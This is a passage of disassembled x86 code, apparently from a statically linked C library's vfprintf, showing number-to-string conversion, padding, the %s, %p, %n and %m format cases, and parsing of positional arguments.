		cmp	[ebp+var_4A0], 58h
		setz	dl
		and	edx, 0FFh
		push	edx
		mov	ebx, [ebp+var_4F0]
		push	ebx
		push	ebp
		push	[ebp+var_498]
		push	[ebp+var_49C]
		call	sub_8062714
		mov	esi, eax
		dec	esi
		add	esp, 14h
		cmp	[ebp+var_47C], 0
		jz	short loc_8050671
		cmp	[ebp+var_458], 0
		jz	short loc_8050671
		mov	edx, [ebp+var_3F8]
		push	edx
		mov	edi, [ebp+var_458]
		push	edi
		lea	edx, [ebp+var_1]
		push	edx
		push	esi
		call	sub_8052C9C
		mov	esi, eax
		add	esp, 10h

loc_8050671:				; CODE XREF: vfprintf+D7Bj
					; vfprintf+DC1j ...
		xor	edx, edx
		cmp	[ebp+var_49C], 0
		jnz	short loc_8050685
		cmp	[ebp+var_498], 0
		jz	short loc_805068A

loc_8050685:				; CODE XREF: vfprintf+DF2j
		mov	edx, 1

loc_805068A:				; CODE XREF: vfprintf+DFBj
		mov	[ebp+var_49C], edx
		jmp	loc_80507DC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050698:				; CODE XREF: vfprintf+D2Ej
		cmp	[ebp+var_484], 0
		jz	short loc_80506B4
		add	[ebp+arg_8], 4
		mov	ecx, [ebp+arg_8]
		mov	ecx, [ecx-4]
		mov	[ebp+var_49C], ecx
		jmp	short loc_80506C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80506B4:				; CODE XREF: vfprintf+E17j
		add	[ebp+arg_8], 4
		mov	ebx, [ebp+arg_8]
		mov	ebx, [ebx-4]
		mov	[ebp+var_49C], ebx

loc_80506C4:				; CODE XREF: vfprintf+CE7j
					; vfprintf+E29j ...
		cmp	[ebp+var_490], 0
		jl	short loc_80506F0
		mov	[ebp+var_494], 20h
		cmp	[ebp+var_490], 0
		jnz	short loc_80506FA
		cmp	[ebp+var_49C], 0
		jnz	short loc_80506FA
		lea	esi, [ebp+var_1]
		jmp	loc_80507DC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80506F0:				; CODE XREF: vfprintf+E43j
		mov	[ebp+var_490], 1

loc_80506FA:				; CODE XREF: vfprintf+E53j
					; vfprintf+E5Cj
		mov	edx, [ebp+var_49C]
		mov	eax, edx
		mov	edx, ebp
		mov	[ebp+var_4EC], offset a0123456789abcd ;	"0123456789abcdefghijklmnopqrstuvwxyz"
		cmp	[ebp+var_4A0], 58h
		jnz	short loc_8050721
		mov	[ebp+var_4EC], offset a0123456789ab_0 ;	"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

loc_8050721:				; CODE XREF: vfprintf+E8Dj
		mov	esi, edx
		cmp	[ebp+var_4F0], 0Ah
		jz	short loc_8050748
		ja	short loc_805073C
		cmp	[ebp+var_4F0], 8
		jz	short loc_805077C
		jmp	short loc_8050794
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805073C:				; CODE XREF: vfprintf+EA4j
		cmp	[ebp+var_4F0], 10h
		jz	short loc_8050764
		jmp	short loc_8050794
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8050748:				; CODE XREF: vfprintf+EA2j
					; vfprintf+ED7j
		dec	esi
		mov	edi, 0Ah
		xor	edx, edx
		div	edi
		mov	ecx, [ebp+var_4EC]
		mov	dl, [edx+ecx]
		mov	[esi], dl
		test	eax, eax
		jnz	short loc_8050748
		jmp	short loc_80507AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8050764:				; CODE XREF: vfprintf+EBBj
					; vfprintf+EF0j
		dec	esi
		mov	edx, eax
		and	edx, 0Fh
		mov	ebx, [ebp+var_4EC]
		mov	dl, [edx+ebx]
		mov	[esi], dl
		shr	eax, 4
		jnz	short loc_8050764
		jmp	short loc_80507AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805077C:				; CODE XREF: vfprintf+EADj
					; vfprintf+F08j
		dec	esi
		mov	edx, eax
		and	edx, 7
		mov	edi, [ebp+var_4EC]
		mov	dl, [edx+edi]
		mov	[esi], dl
		shr	eax, 3
		jnz	short loc_805077C
		jmp	short loc_80507AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050794:				; CODE XREF: vfprintf+EAFj
					; vfprintf+EBDj ...
		dec	esi
		xor	edx, edx
		div	[ebp+var_4F0]
		mov	ecx, [ebp+var_4EC]
		mov	dl, [edx+ecx]
		mov	[esi], dl
		test	eax, eax
		jnz	short loc_8050794

loc_80507AC:				; CODE XREF: vfprintf+ED9j
					; vfprintf+EF2j ...
		dec	esi
		cmp	[ebp+var_47C], 0
		jz	short loc_80507DC
		cmp	[ebp+var_458], 0
		jz	short loc_80507DC
		mov	edx, [ebp+var_3F8]
		push	edx
		mov	ebx, [ebp+var_458]
		push	ebx
		lea	edx, [ebp+var_1]
		push	edx
		push	esi
		call	sub_8052C9C
		mov	esi, eax
		add	esp, 10h

loc_80507DC:				; CODE XREF: vfprintf+E08j
					; vfprintf+E61j ...
		mov	edx, esi
		not	edx
		add	edx, ebp
		sub	[ebp+var_48C], edx
		sub	[ebp+var_490], edx
		cmp	[ebp+var_49C], 0
		jz	short loc_805081C
		cmp	[ebp+var_46C], 0
		jz	short loc_805081C
		cmp	[ebp+var_4F0], 8
		jnz	short loc_805081C
		cmp	[ebp+var_490], 0
		jg	short loc_8050825
		mov	byte ptr [esi],	30h
		dec	esi
		dec	[ebp+var_48C]

loc_805081C:				; CODE XREF: vfprintf+F6Dj
					; vfprintf+F76j ...
		cmp	[ebp+var_490], 0
		jle	short loc_8050858

loc_8050825:				; CODE XREF: vfprintf+F88j
		mov	edi, [ebp+var_490]
		sub	[ebp+var_48C], edi
		mov	edx, [ebp+var_490]
		dec	edi
		mov	[ebp+var_490], edi
		test	edx, edx
		jle	short loc_8050858
		lea	esi, [esi]

loc_8050844:				; CODE XREF: vfprintf+FCEj
		mov	byte ptr [esi],	30h
		dec	esi
		mov	edx, [ebp+var_490]
		dec	[ebp+var_490]
		test	edx, edx
		jg	short loc_8050844

loc_8050858:				; CODE XREF: vfprintf+F9Bj
					; vfprintf+FB8j
		cmp	[ebp+var_49C], 0
		jz	short loc_805087A
		cmp	[ebp+var_46C], 0
		jz	short loc_805087A
		cmp	[ebp+var_4F0], 10h
		jnz	short loc_805087A
		add	[ebp+var_48C], 0FFFFFFFEh

loc_805087A:				; CODE XREF: vfprintf+FD7j
					; vfprintf+FE0j ...
		cmp	[ebp+var_488], 0
		jnz	short loc_8050895
		cmp	[ebp+var_478], 0
		jnz	short loc_8050895
		cmp	[ebp+var_470], 0
		jz	short loc_805089B

loc_8050895:				; CODE XREF: vfprintf+FF9j
					; vfprintf+1002j
		dec	[ebp+var_48C]

loc_805089B:				; CODE XREF: vfprintf+100Bj
		cmp	[ebp+var_474], 0
		jnz	short loc_80508C4
		cmp	[ebp+var_494], 30h
		jnz	short loc_80508C4
		jmp	short loc_80508B4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80508B0:				; CODE XREF: vfprintf+103Aj
		mov	byte ptr [esi],	30h
		dec	esi

loc_80508B4:				; CODE XREF: vfprintf+1025j
		mov	edx, [ebp+var_48C]
		dec	[ebp+var_48C]
		test	edx, edx
		jg	short loc_80508B0

loc_80508C4:				; CODE XREF: vfprintf+101Aj
					; vfprintf+1023j
		cmp	[ebp+var_49C], 0
		jz	short loc_80508EC
		cmp	[ebp+var_46C], 0
		jz	short loc_80508EC
		cmp	[ebp+var_4F0], 10h
		jnz	short loc_80508EC
		mov	cl, [ebp+var_4A0]
		mov	[esi], cl
		dec	esi
		mov	byte ptr [esi],	30h
		dec	esi

loc_80508EC:				; CODE XREF: vfprintf+1043j
					; vfprintf+104Cj ...
		cmp	[ebp+var_488], 0
		jz	short loc_80508FC
		mov	byte ptr [esi],	2Dh
		jmp	short loc_8050918
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80508FC:				; CODE XREF: vfprintf+106Bj
		cmp	[ebp+var_478], 0
		jz	short loc_805090C
		mov	byte ptr [esi],	2Bh
		jmp	short loc_8050918
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805090C:				; CODE XREF: vfprintf+107Bj
		cmp	[ebp+var_470], 0
		jz	short loc_8050919
		mov	byte ptr [esi],	20h

loc_8050918:				; CODE XREF: vfprintf+1070j
					; vfprintf+1080j
		dec	esi

loc_8050919:				; CODE XREF: vfprintf+108Bj
		cmp	[ebp+var_474], 0
		jnz	short loc_8050944
		cmp	[ebp+var_494], 20h
		jnz	short loc_8050944
		jmp	short loc_8050934
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050930:				; CODE XREF: vfprintf+10BAj
		mov	byte ptr [esi],	20h
		dec	esi

loc_8050934:				; CODE XREF: vfprintf+10A3j
		mov	edx, [ebp+var_48C]
		dec	[ebp+var_48C]
		test	edx, edx
		jg	short loc_8050930

loc_8050944:				; CODE XREF: vfprintf+1098j
					; vfprintf+10A1j
		mov	ebx, [ebp+arg_0]
		mov	ebx, [ebx+50h]
		mov	edi, esi
		not	edi
		add	edi, ebp
		push	edi
		lea	edx, [esi+1]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebx+34h]
		call	edx
		add	esp, 0Ch
		cmp	eax, edi
		jnz	loc_8050E72	; case 0x0
		add	[ebp+var_464], eax
		jmp	loc_8050B07
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050974:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		mov	ecx, [ebp+var_490] ; case 0x45
		mov	[ebp+var_434], ecx
		mov	ebx, [ebp+var_48C]
		mov	[ebp+var_430], ebx
		mov	cl, [ebp+var_4A0]
		mov	[ebp+var_42C], cl
		mov	[ebp+var_428], esi
		mov	ebx, [ebp+var_480]
		mov	[ebp+var_424], ebx
		mov	edi, [ebp+var_484]
		mov	[ebp+var_420], edi
		mov	ecx, [ebp+var_46C]
		mov	[ebp+var_41C], ecx
		mov	ebx, [ebp+var_470]
		mov	[ebp+var_418], ebx
		mov	edi, [ebp+var_474]
		mov	[ebp+var_414], edi
		mov	ecx, [ebp+var_478]
		mov	[ebp+var_410], ecx
		mov	ebx, [ebp+var_47C]
		mov	[ebp+var_40C], ebx
		mov	cl, [ebp+var_494]
		mov	[ebp+var_408], cl
		mov	eax, offset sub_8053310
		test	esi, esi
		jz	short loc_8050A2C
		add	[ebp+arg_8], 0Ch
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebx-0Ch]
		mov	[ebp+var_3F4], edx
		mov	edx, [ebx-8]
		mov	[ebp+var_3F0], edx
		mov	edx, [ebx-4]
		mov	[ebp+var_3EC], edx
		jmp	short loc_8050A45
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8050A2C:				; CODE XREF: vfprintf+117Dj
		add	[ebp+arg_8], 8
		mov	edi, [ebp+arg_8]
		mov	edx, [edi-8]
		mov	[ebp+var_3F4], edx
		mov	edx, [edi-4]
		mov	[ebp+var_3F0], edx

loc_8050A45:				; CODE XREF: vfprintf+11A1j
		lea	ecx, [ebp+var_3F4]
		mov	[ebp+var_438], ecx
		lea	edx, [ebp+var_438]
		push	edx
		lea	edx, [ebp+var_434]
		push	edx
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jl	loc_8050E72	; case 0x0
		add	[ebp+var_464], eax
		jmp	loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8050A7C:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		dec	[ebp+var_48C]	; case 0x63
		cmp	[ebp+var_474], 0
		jnz	short loc_8050AAF
		cmp	[ebp+var_48C], 0
		jle	short loc_8050AAF
		mov	edi, [ebp+var_48C]
		push	edi
		push	20h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8062534
		add	[ebp+var_464], eax
		add	esp, 0Ch

loc_8050AAF:				; CODE XREF: vfprintf+1201j
					; vfprintf+120Aj
		add	[ebp+arg_8], 4
		mov	ebx, [ebp+arg_8]
		movzx	eax, byte ptr [ebx-4]
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+14h]
		cmp	[edi+18h], edx
		ja	short loc_8050AE0
		movzx	edx, al
		push	edx
		push	edi
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8050E72	; case 0x0
		jmp	short loc_8050B01
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050AE0:				; CODE XREF: vfprintf+123Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		mov	byte ptr [ebp+var_4D8],	al
		mov	[edx], al
		movzx	edx, byte ptr [ebp+var_4D8]
		inc	dword ptr [ecx+14h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_8050E72	; case 0x0

loc_8050B01:				; CODE XREF: vfprintf+1253j
		inc	[ebp+var_464]

loc_8050B07:				; CODE XREF: vfprintf+10E7j
		cmp	[ebp+var_474], 0
		jz	loc_8050DC4
		cmp	[ebp+var_48C], 0
		jle	loc_8050DC4
		mov	ebx, [ebp+var_48C]
		push	ebx
		push	20h
		mov	edi, [ebp+arg_0]
		push	edi
		jmp	loc_8050C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8050B34:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		add	[ebp+arg_8], 4	; case 0x73
		mov	ecx, [ebp+arg_8]
		mov	esi, [ecx-4]

loc_8050B3E:				; CODE XREF: vfprintf+1470j
					; vfprintf+1480j ...
		test	esi, esi
		jnz	short loc_8050B7C
		cmp	[ebp+var_490], 0FFFFFFFFh
		jz	short loc_8050B54
		cmp	[ebp+var_490], 5
		jle	short loc_8050B68

loc_8050B54:				; CODE XREF: vfprintf+12C1j
		mov	esi, offset aNull ; "(null)"
		mov	[ebp+var_4F0], 6
		jmp	loc_8050C00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050B68:				; CODE XREF: vfprintf+12CAj
		mov	esi, offset unk_8067EEB
		mov	[ebp+var_4F0], 0
		jmp	loc_8050C00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050B7C:				; CODE XREF: vfprintf+12B8j
		cmp	[ebp+var_490], 0FFFFFFFFh
		jnz	short loc_8050BDC
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		dec	edx
		mov	[ebp+var_4F0], edx
		cmp	[ebp+var_48C], 0
		jnz	short loc_8050C00
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+50h]
		mov	ecx, [ebp+var_4F0]
		push	ecx
		push	esi
		push	edi
		mov	edx, [edx+34h]
		call	edx
		add	esp, 0Ch
		cmp	[ebp+var_4F0], eax
		jnz	loc_8050E72	; case 0x0
		mov	ebx, [ebp+var_4F0]
		add	[ebp+var_464], ebx
		jmp	loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050BDC:				; CODE XREF: vfprintf+12FBj
		mov	ebx, [ebp+var_490]
		push	ebx
		push	0
		push	esi
		call	sub_80575C0
		add	esp, 0Ch
		mov	[ebp+var_4F0], ebx
		test	eax, eax
		jz	short loc_8050C00
		sub	eax, esi
		mov	[ebp+var_4F0], eax

loc_8050C00:				; CODE XREF: vfprintf+12DBj
					; vfprintf+12EFj ...
		mov	edi, [ebp+var_4F0]
		sub	[ebp+var_48C], edi
		cmp	[ebp+var_474], 0
		jnz	short loc_8050C39
		cmp	[ebp+var_48C], 0
		jle	short loc_8050C39
		mov	ecx, [ebp+var_48C]
		push	ecx
		push	20h
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_8062534
		add	[ebp+var_464], eax
		add	esp, 0Ch

loc_8050C39:				; CODE XREF: vfprintf+138Bj
					; vfprintf+1394j
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+50h]
		mov	ecx, [ebp+var_4F0]
		push	ecx
		push	esi
		push	edi
		mov	edx, [edx+34h]
		call	edx
		add	esp, 0Ch
		cmp	[ebp+var_4F0], eax
		jnz	loc_8050E72	; case 0x0
		mov	ebx, [ebp+var_4F0]
		add	[ebp+var_464], ebx
		cmp	[ebp+var_474], 0
		jz	loc_8050DC4
		cmp	[ebp+var_48C], 0
		jle	loc_8050DC4
		mov	edi, [ebp+var_48C]
		push	edi
		push	20h
		mov	ecx, [ebp+arg_0]
		push	ecx

loc_8050C8F:				; CODE XREF: vfprintf+12A6j
		call	sub_8062534
		add	[ebp+var_464], eax
		add	esp, 0Ch
		jmp	loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050CA4:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		add	[ebp+arg_8], 4	; case 0x70
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebx-4]
		test	edx, edx
		jz	short loc_8050CEC
		mov	[ebp+var_4F0], 10h
		mov	[ebp+var_49C], edx
		mov	[ebp+var_488], 0
		mov	[ebp+var_46C], 1
		mov	[ebp+var_47C], 0
		mov	[ebp+var_4A0], 78h
		jmp	loc_80506C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050CEC:				; CODE XREF: vfprintf+1428j
		mov	esi, offset aNil_0 ; "(nil)"
		cmp	[ebp+var_490], 4
		jg	loc_8050B3E
		mov	[ebp+var_490], 5
		jmp	loc_8050B3E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050D10:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		test	esi, esi	; case 0x6e
		jz	short loc_8050D48
		add	[ebp+arg_8], 4
		mov	edi, [ebp+arg_8]
		mov	eax, [edi-4]
		mov	ecx, [ebp+var_464]
		xor	ebx, ebx
		mov	[ebp+var_4E0], ecx
		mov	[ebp+var_4DC], ebx
		mov	ebx, [ebp+var_4E0]
		mov	[eax], ebx
		mov	ebx, [ebp+var_4DC]
		mov	[eax+4], ebx
		jmp	short loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050D48:				; CODE XREF: vfprintf+148Aj
		cmp	[ebp+var_484], 0
		jz	short loc_8050D68
		add	[ebp+arg_8], 4
		mov	edi, [ebp+arg_8]
		mov	edx, [edi-4]
		mov	ecx, [ebp+var_464]
		mov	[edx], ecx
		jmp	short loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050D68:				; CODE XREF: vfprintf+14C7j
		cmp	[ebp+var_480], 0
		jnz	short loc_8050D88
		add	[ebp+arg_8], 4
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebx-4]
		mov	edi, [ebp+var_464]
		mov	[edx], edi
		jmp	short loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050D88:				; CODE XREF: vfprintf+14E7j
		add	[ebp+arg_8], 4
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	bx, word ptr [ebp+var_464]
		mov	[edx], bx
		jmp	short loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050DA0:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		push	3E8h		; case 0x6d
		lea	edx, [ebp+var_3E8]
		push	edx
		mov	edx, __errno
		push	edx
		call	sub_8056E14
		mov	esi, eax
		add	esp, 0Ch
		jmp	loc_8050B3E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050DC4:				; CODE XREF: vfprintf+C12j
					; vfprintf+11EEj ...
		inc	[ebp+var_400]
		mov	esi, [ebp+var_400]
		mov	[ebp+var_4F0], esi
		cmp	byte ptr [esi],	0
		jz	short loc_8050E19
		nop

loc_8050DDC:				; CODE XREF: vfprintf+158Fj
		mov	edi, [ebp+var_4F0]
		cmp	byte ptr [edi],	25h
		jz	short loc_8050E19
		cmp	byte ptr [edi],	0
		jge	short loc_8050DFD
		push	1
		push	edi
		push	0
		call	sub_805602C
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_8050E08

loc_8050DFD:				; CODE XREF: vfprintf+1562j
		inc	[ebp+var_4F0]
		jmp	short loc_8050E0E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050E08:				; CODE XREF: vfprintf+1573j
		add	[ebp+var_4F0], eax

loc_8050E0E:				; CODE XREF: vfprintf+157Bj
		mov	ecx, [ebp+var_4F0]
		cmp	byte ptr [ecx],	0
		jnz	short loc_8050DDC

loc_8050E19:				; CODE XREF: vfprintf+1551j
					; vfprintf+155Dj
		mov	ebx, [ebp+var_4F0]
		mov	[ebp+var_400], ebx
		mov	edi, [ebp+arg_0]
		mov	edi, [edi+50h]
		mov	edx, [ebp+var_400]
		sub	edx, esi
		push	edx
		push	esi
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [edi+34h]
		call	edx
		mov	edx, [ebp+var_400]
		sub	edx, esi
		add	esp, 0Ch
		cmp	eax, edx
		jnz	short loc_8050E72 ; case 0x0
		add	[ebp+var_464], eax
		mov	edx, [ebp+var_400]
		cmp	byte ptr [edx],	0
		jnz	loc_804F9AC
		jmp	loc_80529B8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8050E68:				; CODE XREF: vfprintf+13j vfprintf+2Aj ...
		mov	__errno, 16h

loc_8050E72:				; CODE XREF: vfprintf+EAj
					; vfprintf+1ABj ...
		mov	eax, 0FFFFFFFFh	; case 0x0
		jmp	loc_80529BE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050E7C:				; CODE XREF: vfprintf+1A5j
					; vfprintf+1ABj ...
		mov	[ebp+var_4A8], 20h ; default
		add	esp, 0FFFFF500h
		mov	[ebp+var_4AC], esp
		mov	[ebp+var_4A4], 0
		mov	[ebp+var_4B0], 0
		mov	[ebp+var_43C], 0
		cmp	[ebp+var_458], 0FFFFFFFFh
		jnz	short loc_8050F38
		mov	edx, dword_8078890
		mov	edx, [edx+10h]
		mov	[ebp+var_4E0], edx
		xor	al, al
		mov	esi, [ebp+var_4E0]
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		dec	edx
		push	edx
		mov	ecx, [ebp+var_4E0]
		push	ecx
		lea	edx, [ebp+var_3F8]
		push	edx
		call	sub_805602C
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_8050F0C
		mov	edx, dword_8078890
		mov	edx, [edx+10h]
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_3F8], edx

loc_8050F0C:				; CODE XREF: vfprintf+1670j
		mov	edx, dword_8078890
		mov	edx, [edx+14h]
		mov	[ebp+var_458], edx
		cmp	byte ptr [edx],	0
		jz	short loc_8050F2E
		cmp	byte ptr [edx],	0FFh
		jz	short loc_8050F2E
		cmp	[ebp+var_3F8], 0
		jnz	short loc_8050F38

loc_8050F2E:				; CODE XREF: vfprintf+1696j
					; vfprintf+169Bj
		mov	[ebp+var_458], 0

loc_8050F38:				; CODE XREF: vfprintf+162Fj
					; vfprintf+16A4j
		mov	ebx, [ebp+var_45C]
		mov	[ebp+var_400], ebx
		cmp	byte ptr [ebx],	0
		jz	loc_805190C
		mov	edi, [ebp+var_4A4]
		lea	edx, [edi+edi*4]
		lea	edx, [edi+edx*2]
		shl	edx, 3
		mov	[ebp+var_4D4], edx
		lea	esi, [esi]

loc_8050F64:				; CODE XREF: vfprintf+207Ej
		mov	ecx, [ebp+var_4A8]
		cmp	[ebp+var_4A4], ecx
		jb	short loc_8050FDE
		mov	esi, [ebp+var_4AC]
		add	ecx, ecx
		mov	[ebp+var_4A8], ecx
		lea	edx, [ecx+ecx*4]
		lea	edx, [ecx+edx*2]
		shl	edx, 3
		sub	esp, edx
		mov	[ebp+var_4AC], esp
		mov	edx, [ebp+var_4D4]
		add	edx, esi
		cmp	esp, edx
		jnz	short loc_8050FAC
		mov	edx, ecx
		shr	edx, 1
		add	ecx, edx
		mov	[ebp+var_4A8], ecx
		jmp	short loc_8050FDE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050FAC:				; CODE XREF: vfprintf+1713j
		mov	ebx, [ebp+var_4D4]
		push	ebx
		push	esi
		mov	edi, [ebp+var_4AC]
		push	edi
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_4AC]
		add	edx, ebx
		cmp	esi, edx
		jnz	short loc_8050FDE
		mov	edx, [ebp+var_4A8]
		shr	edx, 1
		add	[ebp+var_4A8], edx

loc_8050FDE:				; CODE XREF: vfprintf+16E8j
					; vfprintf+1722j ...
		mov	ecx, [ebp+var_4B0]
		mov	[ebp+var_4B8], ecx
		mov	esi, [ebp+var_4D4]
		add	esi, [ebp+var_4AC]
		mov	edx, [ebp+var_400]
		mov	[ebp+var_450], edx
		mov	[ebp+var_4BC], 0
		inc	[ebp+var_450]
		mov	dword ptr [esi+40h], 0FFFFFFFFh
		mov	dword ptr [esi+18h], 0
		mov	dword ptr [esi+1Ch], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+24h], 0
		mov	dword ptr [esi+28h], 0
		mov	byte ptr [esi+2Ch], 20h
		mov	edx, [ebp+var_450]
		movzx	eax, byte ptr [edx]
		mov	ebx, dword_8078FA0
		mov	[ebp+var_4F0], ebx
		test	byte ptr [ebx+eax*2+1],	8
		jz	loc_80511BB	; default
		mov	[ebp+var_4C0], edx
		lea	edi, [ebp+var_450]
		mov	[ebp+var_4EC], edi
		add	eax, 0FFFFFFD0h
		inc	[ebp+var_450]
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		test	byte ptr [ebx+edx*2+1],	8
		jz	short loc_80510CC
		nop

loc_805108C:				; CODE XREF: vfprintf+1842j
		lea	edx, [eax+eax*8]
		lea	edx, [edx+eax-30h]
		mov	[ebp+var_4E0], edx
		mov	ecx, [ebp+var_4EC]
		mov	edx, [ecx]
		movzx	edx, byte ptr [edx]
		mov	eax, [ebp+var_4E0]
		add	eax, edx
		inc	dword ptr [ecx]
		mov	edx, [ecx]
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_4E0], edx
		mov	edx, dword_8078FA0
		mov	ebx, [ebp+var_4E0]
		test	byte ptr [edx+ebx*2+1],	8
		jnz	short loc_805108C

loc_80510CC:				; CODE XREF: vfprintf+1801j
		test	eax, eax
		jz	short loc_8051100
		mov	edx, [ebp+var_450]
		cmp	byte ptr [edx],	24h
		jnz	short loc_8051100
		inc	[ebp+var_450]
		lea	edi, [eax-1]
		mov	[esi+40h], edi
		mov	edx, [ebp+var_43C]
		cmp	edx, eax
		jnb	short loc_80510F3
		mov	edx, eax

loc_80510F3:				; CODE XREF: vfprintf+1867j
		mov	[ebp+var_43C], edx
		jmp	loc_80511BB	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051100:				; CODE XREF: vfprintf+1846j
					; vfprintf+1851j
		mov	ecx, [ebp+var_4C0]
		mov	[ebp+var_450], ecx
		jmp	loc_80511BB	; default
